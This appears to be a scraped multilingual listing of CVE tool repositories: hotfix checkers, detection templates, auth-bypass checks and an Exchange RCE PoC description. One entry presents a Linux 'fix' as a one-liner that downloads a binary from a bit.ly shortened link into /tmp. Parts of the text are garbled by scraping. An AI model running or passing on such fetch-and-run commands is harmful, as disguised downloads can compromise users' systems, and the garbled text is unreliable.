cve-2018-12895-hotfix

このリポジトリには README がありません。...

CVE-2020-0601

CVE-2020-0601 このスクリプトは、お使いのWindowsのバージョンに応じて、CVE-2020-0601の修正プログラムが適用されているかどうかをチェックします。 さらに、既知の脆弱性を悪用しようとする試みがあるかどうかもチェックします。 この.xmlファイルはControlUpユーザー向けです。 通常どおり、XMLファイルをScript（ベース）Actionsにインポートしてください。 すべての情報はこちらで確認できます：...

CVE-2020-1472

CVE-2020-1472 CVE 2020-1472 验证脚本 假设：域控制器之间已启用 WinRM。 所需权限： root@kitploit: 如果存在子域：企业管理员 如果是单林、单域：域管理员 此脚本必须在具有所需权限的主域控制器上运行。它将使用 WMI 递归查询林中所有域控制器，以获取域控制器名称、操作系统（OS）和已安装的 KB。结果将输出到执行用户桌面上创建的名为 CISA 的文件夹中。如果服务器未安装相关修补程序之一，结果将显示 Compliance = "$False"。 用法： root@kitploit: 在提升的 PowerShell 控制台中运行脚本：PS...

CVE-2010-3971-hotpatch

CVE-2010-3971-hotpatch Deviareで独自のセキュリティホットフィックスを作成しましょう。 元記事: Deviareを使用して一時的なゼロデイパッチを作成する...

OWASSRF-CVE-2022-41082-POC

CVE-2022-41082-POC CVE-2022-41082 NotProxyShell OWASSRF 脆弱性のPoC。Microsoft Exchangeサーバーに影響を与えます。 これはProxyNotShell OWASSRFの認証後RCEであり、コマンド実行には有効な資格情報が必要です。 TabShell脆弱性（CVE-2022-41076）のPowershell PoCスクリプトを追加 TabShell脆弱性は特権昇格の一種であり、OWASSRFを通じてアクセスに成功した後、制限されたPowershellサンドボックスからの脱出を可能にします。 影響を受けるバージョン...

CVE-2022-41082-POC

CVE-2022-41082-POC 针对 CVE-2022-41082 NotProxyShell OWASSRF 漏洞的 PoC，该漏洞影响 Microsoft Exchange Server。 这是 ProxyNotShell OWASSRF 的认证后 RCE（Post-Auth RCE），执行命令需要有效凭据。 添加了针对 TabShell 漏洞 CVE-2022-41076 的 Powershell PoC 脚本 TabShell 漏洞是一种权限提升形式，允许你在通过 OWASSRF 成功获得访问权限后，突破受限的 Powershell 沙箱。 受影响版本 Exchange...

kentico-xperience13-AuthBypass-wt-2025-0006

WT-2025-0006 CVE は未割り当て Kentico Xperience 13 CMS - Staging Service 認証バイパスチェック 実行例 root@kitploit: python3 watchTowr-vs-kentico-xperience13-AuthBypass-wt-2025-0006.py -H http://labcms / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / /...

CVE-2025-37164

CVE-2025-37164 HPE OneView にリモートコード実行の問題が存在します。 この検出方法はどのように動作しますか？ このテンプレートは、OneView の title タグにマッチングし、JavaScript の artifactVersion 変数からバージョンを抽出し、バージョン 11.00 未満のインスタンスを潜在的に脆弱なものとしてフラグ付けします。 注意: このテンプレートによってフラグ付けされたインスタンスは脆弱である可能性があります。検出方法では、Z7550-98077 セキュリティホットフィックスがバージョン 5.20～10.20...

cve_2026_frag_family_fix

frag family 脆弱性を除去するためのソフトウェア / frag family 脆弱性の緩和ツール Copy Fail 2026 Dirty Frag 2026 Fragnesia 2026 DirtyClone 2026 PEdit-CoW 2026 任意の Linux で修正を実行 / 任意の Linux ホットフィックスの実行 root@kitploit: b="/tmp/cve2026fragfamilyfix"; wget -qO $b $wget -qO- https://bit.ly/4vetMTB | grep browserdownloadurl | grep ...

Kentico Xperience 13 CMS - Staging Service Authentication Bypass (WT-2025-0011)

Before Kentico Xperience 13 Hotfix 173, this vulnerability can be exploited with any username provided. For Hotfix = 173 and = 173 and 178, this vulnerability can be exploited only if you provide a valid Staging Service username default: admin impact: | Unauthenticated attackers can bypass...

SolarWinds Web Help Desk < 12.8.8 Hotfix 1 (HF1) - Security Control Bypass

SolarWinds Web Help Desk was found to be susceptible to a security control bypass vulnerability that if exploited, could allow an unauthenticated attacker to gain access to certain restricted functionality. id: CVE-2025-40536 info: name: SolarWinds Web Help Desk 12.8.8 Hotfix 1 HF1 - Security...

xerces-3.2.3-DTD-hotfix

このリポジトリには README がありません。...

FortiClient EMS - Authentication Bypass

Detects whether Fortinet hotfix FG-IR-26-099 for CVE-2026-35616 is missing by comparing behavioral responses from a certificate-authenticated endpoint. The template sends X-SSL-CLIENT-VERIFY: SUCCESS without certificate material and checks whether this spoofed header changes server behavior. id:...

log4shell-hotfix-side-effect

Log4Shell Hotfix 副作用テストケース CVE-2021-44228（別名 Log4Shell）のホットフィックスを こちら で推奨されている通りに適用した際に、ClassNotFoundException や同様の予期しない例外が発生するかどうかを確認したかったのです。 結果：例外は一切発生しないようです。 これをテストするには、以下のコマンドを実行します： root@kitploit: ./gradlew clean installDist env JAVAOPTS=-Xmx64M...

kentico-xperience13-AuthBypass-wt-2025-0011

WT-2025-0011 CVEは未割り当て Kentico Xperience 13 CMS - ステージングサービス認証バイパスチェック 動作中の検出 root@kitploit: python3 .\watchTowr-vs-kentico-xperience13-AuthBypass-wt-2025-0011.py -H http://labcms -u admin / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // ||...

Check Point IKEv1 Remote-Access VPN - Certificate Authentication Bypass

IKEv1 key exchange contains a broken authentication caused by logic flow weakness in Remote Access and Mobile Access certificate validation, letting unauthenticated remote attackers bypass user authentication and establish VPN connections without valid passwords, exploit requires use of deprecate...

CVE-2025-45407

CVE-2025-45407 CVE-2025-45407: DiscoveryNG v6.0.8 Hotfix 2 における複数のXSS脆弱性 発見者: YallaSec Security Research Team CVE ID: CVE-2025-45407 公開日: 2025年7月...

SolarWinds Web Help Desk < 12.8.3 - Insecure Deserialization

SolarWinds Web Help Desk before version 12.8.3 contain a critical Java deserialization vulnerability that enables remote code execution. Attackers can exploit this flaw to execute arbitrary commands on the host machine. Initially reported as unauthenticated, SolarWinds was unable to reproduce...

RHSA-2026:62642 Red Hat Security Advisory: kpatch-patch-6_12_0-211_16_1 security update

Bulletin has no description...

RHSA-2026:59145 Red Hat Security Advisory: kpatch-patch-5_14_0-427_100_1, kpatch-patch-5_14_0-427_113_1, kpatch-patch-5_14_0-427_126_1, kpatch-patch-5_14_0-427_68_2, and kpatch-patch-5_14_0-427_84_1 security update

Bulletin has no description...